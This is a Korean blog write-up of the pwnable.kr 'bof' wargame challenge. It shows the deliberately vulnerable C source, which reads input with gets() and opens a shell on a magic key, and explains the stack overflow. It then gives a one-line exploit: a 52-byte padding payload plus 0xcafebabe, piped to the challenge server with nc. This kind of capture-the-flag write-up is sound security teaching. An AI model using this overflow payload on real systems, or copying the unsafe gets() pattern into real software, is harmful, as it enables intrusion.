Self-Improvement

[pwnable.kr] bof 풀이 본문

리버싱 기초/pwnable.kr

[pwnable.kr] bof 풀이

JoGeun 2020. 6. 22. 10:53

소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
 
cs

gets()함수에서 bof가 발생하여 key 값이 저장된 주소까지 덮어씌울 수 있다.

* func에 canary가 존재하지만 func 함수가 종료전에 system("/bin/sh")를 수행시킴으로 상관이 없다.

 

풀이

buf의 크기를 다 채우고 key 값을 0xcafebabe로 덮어씌워준다.

(python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000

'리버싱 기초 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random 풀이  (0) 2020.06.22
[pwnable.kr] passcode 풀이 (scanf() 함수 취약점)  (0) 2020.06.22
[pwnable.kr] flag 풀이  (0) 2020.06.22
[pwnable.kr] collision 풀이  (0) 2020.06.22
[pwnable.kr] FD 풀이  (0) 2020.06.18